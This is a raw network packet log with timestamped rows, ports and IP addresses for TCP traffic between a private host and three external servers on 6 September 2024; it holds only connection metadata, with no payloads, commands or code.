Sep 6, 2024 08:17:07.890100002 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.890131950 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.890156031 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.890593052 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.890599012 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.890610933 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.890615940 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.890650988 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.890650988 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.890656948 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.890662909 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.890667915 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.890681982 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.890727043 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.891192913 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891238928 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891243935 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891248941 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891251087 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.891275883 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891282082 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891292095 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891297102 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891299963 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.891299963 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.891324043 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.891346931 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.891380072 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891385078 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891393900 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891397953 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891403913 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891412020 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891418934 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891437054 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.891453028 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.891617060 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891654015 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891685009 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.891695976 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.891738892 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891750097 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891753912 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891757965 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891767979 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891772985 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.891788006 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.891812086 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.900893927 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.900897980 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.900913954 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.900919914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.900928974 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.900934935 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.900949001 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.900964022 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.900975943 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.900981903 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.901025057 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.913162947 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.913168907 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.913177967 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.913223028 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.913274050 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.913283110 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.913288116 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.913295031 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.913297892 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.913302898 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.913311958 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.913332939 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.913336992 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.913343906 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.913361073 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.913363934 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.913381100 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.913609982 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.913623095 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.913686037 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.913691044 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.913738012 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.913960934 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.913975954 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.914020061 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.914026022 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.914036036 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.914058924 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.914237976 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.914252043 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.914298058 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.914302111 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.914438009 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.914563894 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.914577007 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.914623976 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.914627075 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.914686918 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.914890051 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.914904118 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.914958000 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.914962053 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.914995909 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.915975094 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.915987968 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.916037083 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.916040897 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.916168928 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.942977905 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.942984104 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.942994118 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.943037987 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.943042994 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.943052053 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.943067074 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.943084955 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.943548918 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.943555117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.943558931 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.943562031 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.943569899 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.943594933 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.943600893 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.943604946 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.943608046 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.943608046 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.943609953 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.943633080 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.943655014 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.943687916 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.943692923 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.943697929 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.943703890 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.943741083 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.944201946 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944206953 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944217920 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944221020 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944235086 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944240093 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944252968 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944264889 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944269896 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944272041 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.944272041 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.944273949 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944279909 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944297075 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.944303036 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.944345951 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.944369078 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944380045 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944385052 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944390059 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944394112 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944420099 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.944428921 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.944463015 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944468021 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944473028 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944475889 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944504976 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.944511890 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944514990 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944519043 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944524050 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944550037 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944571018 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.944647074 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944652081 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944660902 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944667101 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944672108 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944681883 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944701910 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.944704056 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944715977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.944724083 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.944746017 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.944765091 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944772005 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944777012 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944781065 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.944818020 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.946393013 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946440935 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946444035 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946469069 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.946482897 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.946491957 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946497917 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946506023 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946511030 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946533918 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.946537971 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946583033 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.946583986 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.946594000 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946599007 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946609020 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946654081 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.946655035 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946660042 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946670055 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946672916 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946708918 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.946789026 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946793079 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946846962 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.946847916 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946852922 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946882963 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946886063 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.946887970 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946897984 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.946930885 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.946930885 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.947266102 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.947272062 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.947280884 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.947304964 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.947309971 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.947345018 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.947345018 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.947348118 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.947352886 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.947361946 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.947393894 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.947614908 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.947684050 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.948965073 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.948975086 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.948981047 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.948985100 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.948990107 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949019909 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949023962 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949028969 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.949033976 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949063063 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.949063063 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.949078083 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949083090 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949088097 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949093103 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949135065 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.949171066 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949176073 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949181080 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949184895 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949191093 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949194908 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949204922 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949209929 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949223995 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.949223995 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.949238062 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949259043 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.949278116 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.949331999 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949337006 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949347019 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949352026 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949357033 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949395895 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.949395895 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.949433088 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949439049 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949450970 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949455023 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949460983 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949470997 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949476004 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949480057 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949497938 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.949497938 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.949510098 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949515104 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.949551105 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.949551105 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.953943968 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.953948975 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.954005003 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.954027891 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.954034090 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.954044104 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.954065084 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.954070091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.954078913 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.954078913 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.954097986 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.954127073 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.963563919 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.963568926 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.963579893 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.963618994 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.963687897 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.963692904 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.963699102 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.963704109 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.963712931 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.963718891 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.963747025 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.963756084 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.963766098 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.963772058 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.963781118 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.963785887 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.963800907 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.963814020 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.963824987 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.963850021 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.969438076 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.969451904 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.970031977 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970036030 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970048904 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970057011 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970164061 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970200062 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970205069 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970274925 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970279932 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970285892 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970349073 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970355034 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970360041 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970365047 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970422029 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970427036 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970437050 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970441103 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970468998 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970571995 CEST	80	49734	176.113.115.33	192.168.2.4
